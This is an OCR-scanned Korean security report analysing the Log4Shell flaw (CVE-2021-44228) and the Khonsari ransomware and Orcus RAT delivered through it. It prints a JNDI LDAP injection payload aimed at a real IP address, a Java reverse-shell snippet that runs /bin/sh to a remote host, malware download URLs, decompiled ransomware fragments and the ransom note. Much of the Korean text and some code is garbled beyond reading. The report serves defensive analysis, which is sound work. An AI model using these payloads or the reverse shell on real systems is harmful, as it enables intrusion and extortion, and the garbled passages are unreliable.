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CVE-2021-44228

Summary: Log4dj's JNDI support has not restricted what names could be resolved. Some protocols are unsafe or can allow
remote code execution.

Details

One vector that allowed exposure to this vulnerability was Logdj's allowance of Lookups to appear in log messages. This
meant that when user input is logged, and that user input contained a JNDI Lookup pointing to a malicious server, then Log4d)
would resolve that JNDI Lookup, connect to that server, and potentially download serialized Java code from that remote server.
This in turn could execute any code during deserialization. This is known as a RCE (Remote Code Execution) attack.

Mitigation

Upgrade to Log4j 2.3.1 (for Java &), 2.12.3 (for Java 7), or 2.17.0 (for Java & and later).

[ 1] CVE-2021-44228 HUH™ 371 LiA

20213 12 € 9 Y, Apache Log4j 2t0|E2{2]Q] B4 TE Mal FUXHO0| SIHSHCL.

Logdj = Java 2 AYE QEAA TZMEQ|H, Z2]M0| 21 Y24 £ UXE API E FSSH.
QEUM HMEsH= JDK Ol 7|2Xo2 22 7|52 MEdk= e47F 9710

Log4j = Java 7|8t T2 0|A Q17|U= 2t0|E2{2] S SHO|L.

Java = JVM(Java Virtual Machine)0[2t= 7H T4 {0fA S&oh7 |0 2FHMIM| 2AGL0| A8 7HS0IT,
M2k, Logdj FHE0] O|X|= H7t 0 Z-HRIot

0| NE5IH ZAKI AN AES AFHE

1
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= 249

2013-09-14 JNDI Lookup 7|5 7t

2021-11-24 Alibaba Cloud Security Team 0| Apache S0 g F2fH M=
2021-11-26 MITRE 0f CVE-2021-44228 S5

2021-12-05 "Restrict LDAP access via JNDI" 2 FE I{X|
2021-12-07 log4j-2.15.0-rc1 HH SH|=

2021-12-09 CVE-2021-44228 371, 7id SHIZE(PoC) 374

2021-12-11 KISA - Log4j 20 ¢H0|E A1 UE
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2021-12-12 "Disable JNDI by default’ Z|2F T IH%|, logdj-2.15.1 HFX 22X
2021-12-13 CVE-2021-45046 20| ZX| & log4j-2.16.0 HH Z2|=
2021-12-18 CVE-2021-45105 Z2F=0| XX| ® logdj-2.17.0 HH H2|=
2021-12-28 CVE-2021-44832 %|2FH0| ZX| B logdj-2.17.1 M 22|
2021-12-29 CVE-2021-44832 274

E=3

Log4j Flef&o| &
Log4j 2.0-beta9 HEFE FItE 0] 7|52
£ HiSotod Holil

M= oig 7SO0l WEAAH = B 7Is2

QIEH|0[A

TR ofoIHQl 4 3
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0| YLI0IE= 2013 H0| MEE A2 £

X 11 € 24 A, Alibaba Cloud Security Team
FUAHN =550 AUCL

A& SRUKX| 274 E Sol
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on_:iIH TL:|_

A|AEIO| Log4Shell

ZEX|OA F 2t Logdj 2H0122{2|E

ol

>
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mjo
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1] Log4j Atd Efgletel

IS2 F/IotEAREL.

HOA} ok AM0 E2 /tsotes

? oig 4ME

Hel

ot/Lt

0| Apache =01 oiE FUTS ML SHC

Hak HE metoty HH0|EE Hot 32 5t X[ F2F AMH|0|EE HESB}/|= & A| L.
AKXz AH7| AHAIO| Logdj 20|E 2| E A8 SQIX| OFHX|ZA RE= AT QUCE
T8 Logdj 7t EHRASHA M0|= LEAA 210|222 2|2t= HHE0]Ct
=L FOofH HS o= St He HA
2021-12-09 CVE-2021-44228 Remote Code Execution | 2.0-beta9 ~ 2.14.1
2021-12-14 CVE-2021-45046 Denial of Service 2.0-beta9 ~ 2.15.0 (2.12.2 M2|)
2021-12-18 CVE-2021-45105 Denial of Service 2.0-betad ~ 2.16.0
(2.12.3 H2J)
2021-12-29 CVE-2021-44832 Remote Code Execution | 2.0-beta9 ~2.17.0
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E 20| HAE FY 0122 2.x HEUAM SEot= F 719 FFH0| F7t2 LAZAC
MHIAE Lolioh= 55| DoS S4017(0] B2 2= HdlEH 50| KX|2

ZHEGHA S AT ORIX| AL UT(0H M| =714 Q1 F2FHO| LYSX| DI R|4=L.

Log4j AtEt= OF% 24 TIHO|C.

Khonsari 202 AL CVE-2021-44228 ¥4 T E Al FUFHS AI2EHCY
2t formatMsgNoLookups' &40] true 2 AHE= Logd) 2.15.0 O|&S AtEE AL
iEQ0 ZE2 oA EIC.

ZH MO 2 YH|0|ESk= A0| 71 BHEISHT

[ Ry |

1.2. Y =2

groenhuyzen.exe

Type PE32 ((NET executable)

Behavior File Encryption

SHA-256 f2e3f685256e5f31b05fc9f9cad 70f527d7fdae28fa3190c8eba179473e20789
Description = Khonsari Ransomware

[Tt 1] Khonsari 2490 Algt md

T2 HA|X|0] TSt Lookup 7|& AR O A F&

—
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${indi:ldap://3.145.115.94:1389/Main .class}
Log4Shell HO|2E & (A LY 2H 20| &12)

LA

* (T

@ LDAP MHof| S22 T H= 2

2

o

A

]
of>

d e~ F=2

v

» (D OIQITEHIE A4 (27 AH)

Log4Shell £E2|H
(WEHez ajes 2dst22)

® et
©® HTTP Abjol| I} Cj22E 2 F
GEELEL
@ ot SoiA oY M /
® HTTP MB{of T2 cje2c o3
Khonsari A3
@ Khonsari 2H42J10] 24
[23 2] Khonsari &Y SA0| ALE E Log4Shell AAZZS! =M=
[1 A ©O~@]
@®: LSiAtE 22 0M AIYS 57| o ORI TE S AMH 0| STt
@: 2AKH= QHO| L0 A LogdShell AAZ29IS 517| LUoH LIGHAILL SUSHMH 0| H& T}
[2 24: @]
®: 34At= HIO|2EE Al W AME FOf| Y=HSHTE TrY mSHALe] ORI i E SHA40| Ferst
Log4j 2I0|H2Z|IE A Y A2 22 IPH0|A] JNDI Lookup 750| SEFSHCL,
[3EA: @~©®)]
@: S4X2| LDAP MH0l XMoo= =T AL =25 QFe!
| Z=2E FOt M&BHCt

®: Codebase URL 0
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[4 TA: @@

©~: 2RO HTTP MMZEE] oH 2314 THUS L2 Wop 2Esic.

0|, mSHRH= Logdj A= I trustURLCodebase? Z24 17} true 2 A=
F|okst JRE E= JDK £ AFR5D QL0{0F Bt

(=% HOZO)
®~©: BZAXS HTTP MHZEE| Khonsari HM0E L2 2Hop AsHSHTt

2.1. Log4Shell (CVE-2021-44228)
211, HYH S Y

import

class Test {
logger = . (

void main( args) {
("<Log Message>");

(O3 3] logdj KX 2=

g 249

Logger.fatal() FATAL iz =2
Logger.error() ERROR gtz =2
Logger.warn() WARN 2|tz 22
Logger.info() INFO 2z 22
Logger.debug() DEBUG g2 24

2 BN A o Oiet M2 318 O F 278 84
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Logger.trace() TRACE g2 2

[E 3] Logdj 2f0|=22{2| 22 &4 22

(23 3]2 Log4j 2t0|E2{2]2] &5 At 2US oh= ZHHE! Oflx 220\
Logdj = [H 3]0 LgE =2 eSS XA

Oluf, 22 22 QUK “${"2 AlZioh= 2AHES HEsHH

mjo

26| 22 H7|= giof| ZXIX| &1 i 0|0{X|= EXtES JHK| 1 Lookup 7IS

if (config != 'noLookups) {
~ (int i = offset; i1 < workingBuilder. () - 1; i++) {
if (workingBuilder. (i) == '$' && workingBuilder. (i+1) ==
value = workingBuilder. (offset, workingBuilder.

workingBuilder. (offset);
(event, value));

workingBuilder. (config. Q).

[T1& 4] log4j—core 2] MessagePatternConverter.java AA

(I8 4]= M7t == HA S 5HtQl Logdj 2.14.0 2t0|E2{2]9] ZE YUL0|Ct
Z2UEE EH nolookups Z271 240l 2t Lookup 7|5 AHE HHEE AFot

=
SR ANAEE ZAEE AY| flof Ty ot AT

Jndi Lookup
As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true be set as a system property or the corresponding env
The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key

The JDNI Lookup only supports the java protocol or no protocol (as shown in the example below).

. <File name="Application" fileName="application.log">»

1

2 <PatternlLayout>

3. <pattern>¥d ¥p %c{1.} [%t]]|$%{jndi:logging/context-name}|%m%n< /pattern>
4 </PatternLayout>

5. </File>

Java's JNDI module is not available on Android.

[Z12 5] JNDI Lookup 47K (Apache Log4j 241 ZH|0|X])
Logdj = JNDI & ZEgtot 18 7HK| 72| Lookup 715 | &St

0|2 AtZotH =2 g0 902 QXIS 12 =11 THuof| AX| g0

SH WY P2 SO2 HE AL
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value of a variable.

Most users of this is method. This method is
alled automaticall

of subclasses can o
substitution occur hod is passed the
return the corresponding value. This implementation
} with the variable's

event The LogEvent, if there is one.
variableName the name of th ariable, not null

buf the buffe ere the substitution is occurring, not null

startPos the start position of the variable including the pr
@param endPos d position of the variable including the suffi
@return the varia value or <b>null: if the variable is unkn

event, variableName,
int startPos, int endPos) {
(s
if (resolver
return
}

return resolver. (event, variableName);

i
ofm
%
>
tal
ikl
ro
=
O

O

S
[

©

no
4>
oL
rot
o

0|=0] resolveVariable &4

Java Application

JNDI API

Naming Manager

ey e JNDI
IEIID ©f0]5{=1 Implementation
- — Possibilities

1 3113

(123 7] INDI A& X (Oracle 241 £A)
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JVM £ INDI A& & Naming Manager 2 JNDI SPI 0jA]
Z2HAZE Remote Codebase 2E2E ZESH 4= QICt,
Khonsari MY 07} 240 A8t JNDI SPI S0ME LDAP Z2EZS E6 20|t

0IE &oll SAX= Lo AL 7| HIO|E HHE JEH= XEetE HHE MSotH 2EAIE == ACt

nzes 7 24 29 52 M

LDAP com.sun.jndi.ldap.object.trustURLCodebase
[(H 4] VM 9| ¥4 24 25 5|8 07 S

Ehl 4%

Java 6 (6u211 0]2)

com.sun.jndi.ldap.object.trustURLCodebase = true

Java 7 (7u201 0|2

com.sun.jndi.ldap.object.trustURLCodebase = true

Java 8 (8u191 0|2k

com.sun.jndi.ldap.object.trustURLCodebase = true

Java 11 (11.0.1 OJ2H)

com.sun.jndi.ldap.object.trustURLCodebase = true

[H 5] Java H{F0f| = trustURLCodebase &4 2t

LDAP Z2EZS &dlf HA0M SHAE 2EA7|7] Adtik=

[H 4]0 EAIE JVM £40] true 2 A 0{0f 5t}

ST 449742 JRE E JDK

Of 0] [& 5]0f s FE &<

JIE2HOZ true 2 2FEN AN HH Z= HH0| 7+SSIT.
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Hello Again!

welcome Back

Forgot Password ?

(O 8] & 0HZ2/70[8 2 STt LogdShell AI¢

(23 8]2 Log4Shell 0 F<f&t Java 718t & 0iZ2(H 0|

2791715 0lelof BHE A

12 @it

g 22 Logdj 2.14.1 HTZ AHEotH

o 250]C}.

JDK GA| B S2A 20| 7kset 1.8 HE= A8 SO|5
String userName = req.getParameter("uname");
String password = req.getParameter("password"),

resp.setContentType("text/html™);
PrintWriter out = resp.getWriter(); /
out.println("<html><body>");

if(userName.equals("admin”) &% passwerd. equals(“password”)){

out.println("Welcome Back Admin");
}
1
else{ /
// wulnerable code/
Logger logger = Loéﬂanager.getLogger(com.example.logdshell.logﬂj.class);
logger.error(userhame);
out.println(“<code> the password you entered was invalid,
¥

<u> we will log your information </u> </code>");

(28 9] & oHZ2AH 0|

ShA
a1

Y2 MR A 0IE8 22 57| 9ol Logger.error)
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Hello Again!

Welcome Back

S0mansa

test1234

Forgot Password ?

c-1] ERROR com.example.log4shell.log4j - [somansa

(T3 10] L AFZAS] 2791 A|E

2701 BIES L2R 2 Ao 201 AIBKH 0| QY A 0]S0] BT A2 = 4 L

‘"= AlIZtoh= 2AE0] 0tH 710 E 2| Lookup 1H Q10 22 ET.

Hello Again!
Welcome Back ${indi:ldap://3.145.115.94:1389/Main.class}

ap://3.145.115.94:1389/Main.class}

test1234

Forgot Password ?

ERROR com.ex

(23 1] S2XS 2701 A=
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o

|0l L AEAPE OF SHAH 21 Q1S ot 0.

=L
A ALEAL A 0150 Log4Shell FofEs E2|1H & = U= HEHO|7|0f

=

ol

SAAZL2000E o [f ZH|E HO|2ES YHetttH
Al MHO|M ZAXIO] FEZ AlSHSE £ QIC}

o= T

“Hindi"2 AIZfotE2 1 F0f 0[0{Xl= 2AIES 7HKI L X & OfZ2/AH 00| AHE S JDK =

%
1.8 HEOZ trustURLCodebase £40] true 2 AHT|0] U0 AN S2HAZS 2HAIZ = Lt

it() throws
host="%s";
int port=jd;
cmd="/bin/sh";
p=new ] (cmd).
s=new (host,port);
pi=p. OF
pe=p. oF
si=s. m();
po=p.
while(!s. Gy o
while(pi. ‘ ()>0)
so.write(pi. ());

while(pe. ' ()>0)
so.write(pe. 0));
while(si.avai ()>0)
' i 0);

(22 13] 2lB1A S 93 EES HojF= BAK

A 2ol E=H|E ofd Seiae 2ftA HO|T & AH0| 2 25 ddAZ

SANY IP F4213.145.115.94 0ff 27 S4IS LHITHEE HS= YOI2 XF).

ZATS AFEO| XE7| KHAI| PC O B ZES LISTENING A2 SOIS11 th7 (5712t 591 Eict
S YL T2RIO| Y2S B A 2§ 02 MASIT 53 H AHUS 4 W Yol

+1 SOMANSA 13



Security Report No.32 | 2022. 01

(o)

[y

- N
o

root root 6

root root 1 2 9 NOTICE

root root JE S 5 RELEASE-NOTES
root root 1 S RUNNING. txt
root root 5 bin

root root
root staff
root root
root root
root staff 5 nati
root root ) 31 > temp
root root , 1:28 webapps
root root >

w
k

-
(r -
r
S

v W W N

/tomcat

2ltA o 3ot SAX= [23 14]2 20| & MHoilM 2 FHS A == ACH

I A2 E £26IAt Apache Tomceat &3 AZ01 A4S & 4 QT

2.2. Khonsari #4940 CH22H

Payload ${jndi:ldap://3.145.115.94:1389/Main.class}

[E 6] JVM 2| ¥ 224 =Y 518 017 S

Khonsari #490{ 320 A& HO|2E= [H 6]+ ZCt

A2 Main.class = Khonsari HMYOE L2 &1 MAl5h= 7|58 ST Leixy L.
oL 12 2 13 Y2 7|1HCz iy S A WU Khonsari HEY O THREH7t O

Orcus RAT CHR2Z L2 H0|Z2=71 HACE

Log4Shell FAFC = oty ZUHAE HH0M 2otz 22

ZA IHAO| XIS MHO| P AVt SLS AR £ Of
Khonsari 890 Tt2=0 Eot THR=

m2tA Orcus RAT CIRZHE HTHEC
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X
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s Main {

mutex new ({
if (!mutex. O){
file

readableByteChannel
fileOutputStream new

fileOutputStream.
fileOutputStream.

mutex. , (&YF

mutex. )

(O

("java.io.tmpdir™) + .separator +

("fengpvp", )5
(file);
() (readableByteChannel, 0,

(OF O;
(N Q)

jar \"" + file.

)\\Common Files\\Oracle\\
\\Common Files\

\bin\\j

[&! 15] Orcus RAT 224

No.32 | 2022. 01

(new ("http://test.verable.rocks/d

Khonsari s CH22= URL

http://3.145.115.94/zambo/groenhuyzen.exe

Orcus RAT CH2ZE URL

http://test.verble.rocks/dorflersaladreviews.jar

1. %TEMP% Z=20| REA I Z=XY 0 &0l (EMY 32, OFF S&I= oK 1
8%, C&C MH0flA HO|Z= LH2{RI0F %TEMP% d20 Xg

2. ZXolX| ¢
3. HO|Z2E A3

Orcus RAT O 2HE C|AIASHH
BB
Orcus RAT = Java 2 EHA S| ofy
Khonsari 2i149|0{= Sl T3¢

javaw.exe = LUKt QX

Als A|OF SXIGIEE FHEIA I}

220

(& 7] & ¢8RS

225 URL

E=)

(23 16]2 2Tt

Q7EILL

CH22C URL 2 Khonsari 2490] TH22 = URL 1t CH2CH
CIR2CE ORXOHH % TEMP% Q20| XA & AISHSIT}
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2.3. Khonsari @490

Khonsari 2&2l|0i= R Zef| Y22 2HE0N SEot= SAIIA0|H.

e 02| W= Ot 2t 20| ZHHoIL.

IR
H
ne

o

(M fo

2.3.1. CAC Ul HIAE M 422

WebC|ient webllie WebClient( )
B U001 bfu001 5Hu001 1 R~Tp i "UTF™ Cw i YUNKU0O01 2040001 f ! #u001 c=#u0002#t=tu001 6, #uddl

wehC| |I-‘|'It Down | oadStringf oy ) {edhcl IgR, wnMtUrdnd )

[ZI_E' 16] C&C MHZEE HAE IIY HREE

URL http://3.145.115.94/zambos_caldo_de_p.txt

(B 8] 22t FE

et oy U2 ool = AL EA| =L
Ol= HTTP St -g0l|lAf TBHAte| IP =45 2d0ot/| /gt A2z FFE.

Khonsari 2017} 2Rt= A2 2dE IP 347t

LogdShell FAHL= HA A= 20| 7ks0tt= A A0loh7 |0 =7t 40| ALSE 4= UL
S0 dIE A2 AGANH= =71 obd A9 Q0| S=ET
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2.3.2. Y U535} Ofat MY

Orivelnfo,

YWt U rJdn: {
i 'name, Equa J. {edhcLigRZ, wnNtlrdn

list.add{drivelnfo.
list.addf . i CapecialFolder,
list.Addf . i . alFolder,

t. Addf . i JSpecialFolder.

fold . i JpecialFolder,
textd [

i folderPath, ov R, (edhcLgR3, wnMtUrJdn3
[ JEpecialFolder,

(122 17] I+ 2S5} CHAH MA - 1

C:\Users\{username)\Documents\
C:\Users\{username)\Videos\
C:\Users\{username)\Pictures\
C:\Users\{username)\Desktop\
C:\Users\{username)\Desktop\

C C2t0|EE MIQJet THE Eef0|Es BF Y3st

'®)
n
o
[=)
|T
rr
Rl
00
Rl
nm
E
HM
u
40
_|

DO
fol
fon
Q'L
rir
rc
re

UUHEOR C S210|5 AZLX M| HAO| YIXIGH|0) REHOR AT ot ZPIt BLL.

rir
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{string ¥YzmfzBzk)

"Hu007fHu00 1 dOWattuD0FY “HuD0DeZs8"”,;

k(edhcLIgR, vnNtUrJn)))

{edhcLIgR2, vnNtUrJdn2)

{'¥zmfzBzk. sl nxyeRJ., {edhcLIqR3, vwnNtUrJdn3)))

1 ¥YzmfzBzk . Equals( .HtaeFwal};

(O3 18] MY Y53 e 47 - 2

Ouf, ItAHO| DEX|2fO| [T 18] 20| ELt= I

1o
X
|-I'IJ
0x
H
[m
rr
02
fol

5} CHATOIM M 2IBHCE,

“khonsari"= HHEA0 4 Al F7t=l= D9l 20|,

2.3.3. It A5 5}

F| le Writeal IBytes(text11, SCYuZRaW.FrfatcHQ.rYWZTCXX(File. ReadAl|Bytes{texti1)));
g :nurch|lenmv = textil;

12

LIgR4 =
13 = "zB

ynNtUrdnd = t
{sourceFileName, str oymxyeRd . LgoCk({edhcL1gR4, vnNtUrdnd));
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oo
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off CBC RE2 AL 2} I ALE5= tE 7= 25 Sotd.

Y2 otE OFF M2 SHXE * khonsari’= HAA|ZIC

(O3 19]€ EH IUS H0i& I WriteAllBytes g5 A&Edt=
oliig er= MY D0 =4 Xel=0f A= 8%

0|

UnauthorizedAccessException 0f| 2|7t SiA STt

Khonsari 2i4l|0{= 0]0f CHall B2 0|2 M2|E ot UK &27|0 =2 T2 S ote|X| =t

234. ¢

|rn
0=
0x

F:.:
|:|_|.

] HOW TO GET YOUR FILES BACK.TXT - Windows 0§ 2%

oEF BETE MAHNO B2V =E232H)

Your files have been encrypted and stolen by the Khonsari family.

if you wish to decrypt , call (225) 287-1309 or email karenkhonsari@gmail.com.

if you do not know how to buy btc, use a search engine to find exchanges.

DO NOT MODIFY OR DELETE THIS FILE OR ANY ENCRYPTED FILES. IF YOU DO, YOUR FILES MAY BE UNRECOVERABLE.

Your ID is:
[KUv6kWIgZrEzledd59e TAhUsD8zANn/KCSmua7 TASEXOHWnKxPdbal VZwHxhINZOC)prRW/VpdTRrn36dRYXEXhpbFQsaQVL#
+8yrjgBM9aMY2IxHiKtPlIblqdj2eLS5rcENdBUVAanFsOUK9xx10sQJLOEIA= --- AES Key

GgxcttXVe2FL6vZXWu3CEutplGeq2VdqZX9+tVhYXZ0aPYQpdsYYqkd+TBY/z7zKILTzOxpZpv6jAclHwzGeFHPeSF
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3. Bt X|

> Suspicious Behavior : impact.encrypt.many-files

> Suspicious Behavior : impact.encrypt.file

> Suspicious Behavior : escalation.manipulate.token.3

> Suspicious Behavior : impact.encrypt.data.1l

> Suspicious Behavior : discovery.enumerate.file-directory.1

> Suspicious Behavior : discovery.acquire.system-information.2
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4.1 8
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